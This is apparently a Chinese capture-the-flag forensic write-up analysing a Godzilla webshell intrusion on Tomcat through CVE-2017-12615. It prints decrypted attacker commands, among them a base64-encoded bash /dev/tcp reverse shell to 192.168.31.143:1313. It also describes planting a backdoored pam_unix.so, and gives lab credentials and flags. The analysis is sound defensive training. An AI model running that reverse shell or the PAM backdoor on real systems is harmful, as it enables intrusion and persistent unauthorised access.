文章目录
一、前言
登录服务器并结合数据包附件来分析黑客的入侵行为,其中只有第12题需要上机,其他的用数据包附件分析即可
用户名:root
密码:xj@gsl4.0
SSH连接:ssh root@ip -p 222
注意SSH端口是222
二、哥斯拉流量特征
哥斯拉静态特征
在默认编码情况下,jsp会出现密钥xc、密码pass和Java反射等特征
哥斯拉动态特征
-
User-Agent字段(弱特征):如采用默认情况,会暴露使用的jdk信息,不过哥斯拉支持自定义HTTP头部,这个默认特征可以去除
-
Accept字段(弱特征):默认是
Accept:text/html, image/gif, image/jpeg, *; q=.2, /; q=.2。
,这个也可以修改,只能作为辅助手段 -
Cookie最后会有个分号
而正常流量如果没有分点,一般没有分号
- 响应数据的格式是固定的:
MD5前半部分 + AES加密并Base64编码的结果 + MD5后半部分
三、索引
四、玄机题目
步骤#1
黑客的IP是什么?
首先通过wireshark语法筛选出http流量并过滤掉404状态码
http and !(http.response.code == 404)
分析流量,可以发现前面有很多GET请求,判断这是攻击者在进行目录扫描
查看IP统计进一步确认
可以看到这两个IP出现数量很多,结合前面的分析,因此192.168.31.190是攻击者IP,192.168.31.168是受害者IP
flag{192.168.31.190}
步骤#2
黑客是通过什么漏洞进入服务器的?(提交CVE编号)
继续分析流量,发现攻击者用PUT请求上传了一个文件
追踪HTTP流
出现了密钥xc、密码pass和Java反射类等,符合哥斯拉webshell特征,因此这个hello.jsp文件就是木马文件
继续分析前面的正常文件,发现网站是Tomcat搭建的
且攻击者PUT方法上传文件之后网站状态码为201
因此这是一个Tomcat的PUT文件上传漏洞,上网搜索对应漏洞即可
参考链接:https://www.cnblogs.com/Junglezt/p/18123082
搜索得到漏洞编号为CVE-2017-12615
flag{CVE-2017-12615}
步骤#3
黑客上传的木马文件名是什么?(提交文件名)
由步骤二可知,木马文件名为hello.jsp
flag{hello.jsp}
步骤#4
黑客上传的木马连接密码是什么?
参考步骤二可知,连接密码为7f0e6f
也可以通过看Webshell通信包得到连接密码
flag{7f0e6f}
步骤#5
黑客上传的木马解密密钥是什么?
由步骤二可知,密钥为1710acba6220f62b
flag{1710acba6220f62b}
步骤#6
黑客连接webshell后执行的第一条命令是什么?
这里用到abc123师傅开发的蓝队分析研判工具箱,感谢师傅开源
Github地址:https://github.com/abc123info/BlueTeamTools
首先用wireshark语法把hello.jsp的通信流量全部筛选出来
http.request.method == POST and http.request.uri contains "hello.jsp"
可以看到总共18个数据包,逐个追踪HTTP流
用蓝队分析研判工具箱进行解密,把请求的body复制进去,然后点击解密请求数据包
解密发现数据流44、45只是连接哥斯拉时默认执行的,因此忽略不计,从数据流46开始分析
以下是数据流46到结尾的解密结果
数据流46
请求
cmdLine sh -c "cd "/";uname -r" 2>&1arg-3 2>&1executableFile shexecutableArgs -c "cd "/";uname -r" 2>&1arg-0 shargsCount 4arg-1 -carg-2 cd "/";uname -rmethodName execCommand
响应
4.19.0-25-amd64
数据流47
请求
cmdLine sh -c "cd "/";id" 2>&1arg-3 2>&1executableFile shexecutableArgs -c "cd "/";id" 2>&1arg-0 shargsCount 4arg-1 -carg-2 cd "/";idmethodName execCommand
响应
uid=0(root) gid=0(root) groups=0(root)
数据流48
请求
cmdLine sh -c "cd "/";cat /etc/os-release" 2>&1arg-3 2>&1executableFile shexecutableArgs$ -c "cd "/";cat /etc/os-release" 2>&1arg-0 shargsCount 4arg-1 -carg-2 cd "/";cat /etc/os-releasemethodName execCommand
响应
PRETTY_NAME="Debian GNU/Linux 10 (buster)"
NAME="Debian GNU/Linux"
VERSION_ID="10"
VERSION="10 (buster)"
VERSION_CODENAME=buster
ID=debian
HOME_URL="https://www.debian.org/"
SUPPORT_URL="https://www.debian.org/support"
BUG_REPORT_URL="https://bugs.debian.org/"
数据流49
请求1
cmdLine & sh -c "cd "/";rmp -qa | grep pam" 2>&1arg-3 2>&1executableFile shexecutableArgs # -c "cd "/";rmp -qa | grep pam" 2>&1arg-0 shargsCount 4arg-1 -carg-2 cd "/";rmp -qa | grep pammethodName execCommand
响应1
2>&1: 1: 2>&1: rmp: not found
请求2
cmdLine sh -c "cd "/";id" 2>&1arg-3 2>&1executableFile shexecutableArgs -c "cd "/";id" 2>&1arg-0 shargsCount 4arg-1 -carg-2 cd "/";idmethodName xecCommand
响应2
uid=0(root) gid=0(root) groups=0(root)
数据流50
请求
cmdLine & sh -c "cd "/";rpm -qa | grep pam" 2>&1arg-3 2>&1executableFile shexecutableArgs # -c "cd "/";rpm -qa | grep pam" 2>&1arg-0 shargsCount 4arg-1 -carg-2 cd "/";rpm -qa | grep pammethodName execCommand
响应
2>&1: 1: 2>&1: rpm: not found
数据流51
请求
cmdLine 0 sh -c "cd "/";dpkg -l libpam-modules:amd64" 2>&1arg-3 2>&1executableFile shexecutableArgs - -c "cd "/";dpkg -l libpam-modules:amd64" 2>&1arg-0 shargsCount 4arg-1 -carg-2 # cd "/";dpkg -l libpam-modules:amd64methodName execCommand
响应
Desired=Unknown/Install/Remove/Purge/Hold
| Status=Not/Inst/Conf-files/Unpacked/halF-conf/Half-inst/trig-aWait/Trig-pend
|/ Err?=(none)/Reinst-required (Status,Err: uppercase=bad)
||/ Name Version Architecture Description
+++-====================-============-============-========================================
ii libpam-modules:amd64 1.3.1-5 amd64 Pluggable Authentication Modules for PAM
数据流52
请求
cmdLine l sh -c "cd "/";echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMzEuMTQzLzEzMTMgMD4mMQ==|base64 -d|bash" 2>&1arg-3 2>&1executableFile shexecutableArgs i -c "cd "/";echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMzEuMTQzLzEzMTMgMD4mMQ==|base64 -d|bash" 2>&1arg-0 shargsCount 4arg-1 -carg-2 _ cd "/";echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMzEuMTQzLzEzMTMgMD4mMQ==|base64 -d|bashmethodName execCommand
响应
空
数据流53
空
数据流54
请求
methodName getFiledirName /
响应
ok
//
wget-log 1 2024-09-19 08:15:47 0 RW
lib 0 2024-09-18 08:06:13 4096 RWX
usr 0 2023-12-25 02:31:52 4096 RWX
lib32 0 2023-12-25 02:31:48 4096 RWX
libx32 0 2023-12-25 02:31:48 4096 RWX
lost+found 0 2023-12-25 02:31:44 16384 RWX
sbin 0 2024-09-18 08:06:06 12288 RWX
vmlinuz 1 2023-08-07 22:35:25 5283136 RW
opt 0 2024-09-19 08:41:28 4096 RWX
mnt 0 2023-12-25 02:31:52 4096 RWX
etc 0 2024-09-19 07:35:49 4096 RWX
root 0 2024-09-19 08:41:48 4096 RWX
srv 0 2023-12-25 02:31:52 4096 RWX
proc 0 2024-09-19 06:29:54 0 RWX
dev 0 2024-09-19 06:29:58 3160 RWX
initrd.img.old 1 2023-12-25 02:32:56 28089917 RW
initrd.img 1 2023-12-25 02:34:12 28246009 RW
vmlinuz.old 1 2020-07-24 14:46:18 5274864 RW
var 0 2023-12-25 02:31:52 4096 RWX
wget-log.1 1 2024-09-19 08:15:47 0 RW
lib64 0 2024-09-18 08:05:13 4096 RWX
media 0 2023-12-25 02:31:45 4096 RWX
boot 0 2023-12-25 02:41:35 1024 RWX
tmp 0 2024-09-19 09:00:35 4096 RWX
run 0 2024-09-19 09:00:35 600 RWX
wget-log.2 1 2024-09-19 08:15:47 0 RW
home 0 2023-12-25 02:43:00 4096 RWX
bin 0 2024-09-19 07:35:48 28672 RWX
sys 0 2024-09-19 06:29:55 0 RWX
数据流55
请求
methodName getFiledirName /tmp/
响应
ok
/tmp/
ssh-rJgBkHZMg0 0 2024-09-19 08:30:00 4096 RWX
code-8a1ad303-d54a-4ee6-bf06-79c09e867bed 1 2024-09-19 08:15:43 0 RWX
.XIM-unix 0 2024-09-19 06:29:59 4096 RWX
ssh-vWnAfxielC 0 2024-09-19 08:43:32 4096 RWX
ssh-HqBIxaU2OF 0 2024-09-19 08:15:37 4096 RWX
hsperfdata_root 0 2024-09-19 06:29:59 4096 RWX
systemd-private-fe1119a9e31340ada72ff5bdd7dcb056-systemd-timesyncd.service-wVf4Jf 0 2024-09-19 06:29:59 4096 RWX
1.pcap 1 2024-09-19 09:03:14 1490944 RW
.Test-unix 0 2024-09-19 06:29:59 4096 RWX
.X11-unix 0 2024-09-19 06:29:59 4096 RWX
.ICE-unix 0 2024-09-19 06:29:59 4096 RWX
.font-unix 0 2024-09-19 06:29:59 4096 RWX
ssh-P22RjIKAZ3 0 2024-09-19 08:19:17 4096 RWX
ssh-F8xrTEcjZ2 0 2024-09-19 08:39:58 4096 RWX
ssh-JmgaMLTFgu 0 2024-09-19 08:21:23 4096 RWX
ssh-r6qMz7wlBA 0 2024-09-19 09:00:35 4096 RWX
数据流56
请求
fileName /tmp/pam_unix.sofileValue NELF
响应
ok
数据流57
请求
cmdLine l sh -c "cd "/";echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMzEuMTQzLzEzMTMgMD4mMQ==|base64 -d|bash" 2>&1arg-3 2>&1executableFile shexecutableArgs i -c "cd "/";echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMzEuMTQzLzEzMTMgMD4mMQ==|base64 -d|bash" 2>&1arg-0 shargsCount 4arg-1 -carg-2 _ cd "/";echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMzEuMTQzLzEzMTMgMD4mMQ==|base64 -d|bashmethodName execCommand
响应
空
分析数据流46,前面的cmdLine sh -c "cd "/"
是哥斯拉自动执行的,后面的uname -r
是攻击者执行的,因此答案就是这个
flag{uname -r}
步骤#7
黑客连接webshell时查询当前shell的权限是什么?
由步骤六的数据流47可知,攻击者执行了命令id
,用于查询用户和用户组相关的身份信息
uid=0(root) gid=0(root) groups=0(root)
因此当前shell的权限就是root
flag{root}
步骤#8
黑客利用webshell执行命令查询服务器Linux系统发行版本是什么?
分析步骤六中的数据流,发现数据流48运行了命令cat /etc/os-release
,该命令主要作用是查看 Linux 操作系统的详细版本和发行相关信息
PRETTY_NAME="Debian GNU/Linux 10 (buster)"
NAME="Debian GNU/Linux"
VERSION_ID="10"
VERSION="10 (buster)"
VERSION_CODENAME=buster
ID=debian
HOME_URL="https://www.debian.org/"
SUPPORT_URL="https://www.debian.org/support"
BUG_REPORT_URL="https://bugs.debian.org/"
因此答案就是PRETTY_NAME的值
flag{Debian GNU/Linux 10 (buster)}
步骤#9
黑客利用webshell执行命令还查询并过滤了什么?(提交整条执行成功的命令)
数据流49,攻击者先是错误地输入了 rmp
,发现命令不存在
然后数据流50中攻击者修正了命令为 rpm
,执行rpm -qa | grep pam
,但是返回结果仍显示not found
2>&1: 1: 2>&1: rpm: not found
rpm命令是用于管理RPM包的命令行工具,这个命令是在查询pam相关的包,pam模块与Linux的用户认证有关,是一个非常敏感和危险的位置
在数据流51,攻击者根据之前的失败,推断出这不是一个基于RPM的系统(如CentOS),转而使用Debian/Ubuntu系的 dpkg
命令进行查询,并成功获取了信息
Desired=Unknown/Install/Remove/Purge/Hold
| Status=Not/Inst/Conf-files/Unpacked/halF-conf/Half-inst/trig-aWait/Trig-pend
|/ Err?=(none)/Reinst-required (Status,Err: uppercase=bad)
||/ Name Version Architecture Description
+++-====================-============-============-========================================
ii libpam-modules:amd64 1.3.1-5 amd64 Pluggable Authentication Modules for PAM
攻击者执行成功的命令就是dpkg -l libpam-modules:amd64
flag{dpkg -l libpam-modules:amd64}
步骤#10
黑客留下后门的反连的IP和PORT是什么?(IP:PORT)
数据流52中的请求体中存在base64编码
L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMzEuMTQzLzEzMTMgMD4mMQ==
解码后得到结果为
很明显,这个就是反连命令,因此IP是192.168.31.143,端口为1313
flag{192.168.31.143:1313}
步骤#11
黑客通过什么文件留下了后门?
继续分析步骤六中的数据包,发现数据流56跟文件相关
请求
fileName /tmp/pam_unix.sofileValue NELF
响应
ok
攻击者上传了一个恶意的PAM模块文件 pam_unix.so
。该方法攻击原理是,用这个恶意文件替换掉Linux系统中负责密码验证的核心模块,从而植入一个“万能密码”(例如 password123
)或“后门用户”(无论输入什么密码都能成功),从而实现对系统身份认证机制的劫持
可以看到攻击者上传路径为/tmp/pam_unix.so
,这个先记住,后面有用
因此后门文件就是这个
flag{pam_unix.so}
步骤#12
黑客设置的后门密码是什么?
连接到玄机靶场机器,进去后执行history
查看攻击者执行的历史命令
可以看到,攻击者先将系统正常的用户密码认证模块(pam_unix.so
)备份成一个隐藏文件,然后用自己上传的、含有后门功能的同名恶意文件(/tmp/pam_unix.so
)替换掉原始文件(/lib/x86_64-linux-gnu/security/pam_unix.so
)
直接在/tmp
里面查找会找不到pam_unix.so
,估计是攻击者删除了
那我们去/lib/x86_64-linux-gnu/security
目录查找,成功找到目标文件
将pam_unix.so
拷贝下来,用IDA进行静态分析
pam_sm_authenticate
是 Linux PAM(可插拔认证模块,Pluggable Authentication Modules)中认证服务模块的核心函数,专门用于验证用户身份
因此我们找到函数pam_sm_authenticate
进行分析,成功获得后门密码XJ@123
flag{XJ@123}
步骤#13
黑客的恶意dnslog服务器地址是什么?
wireshark语法搜索dns,可以找到黑客的恶意dnslog服务器地址,但是要注意这个地址后面有个点号(后面分析IDA发现的)
或者可以通过IDA分析pam_sm_authenticate
认证函数来获取dnslog地址
flag{c0ee2ad2d8.ipv6.xxx.eu.org.}
五、参考
momo安全:https://mp.weixin.qq.com/s/rhPT5H0IZ4nm6JcgacRg8Q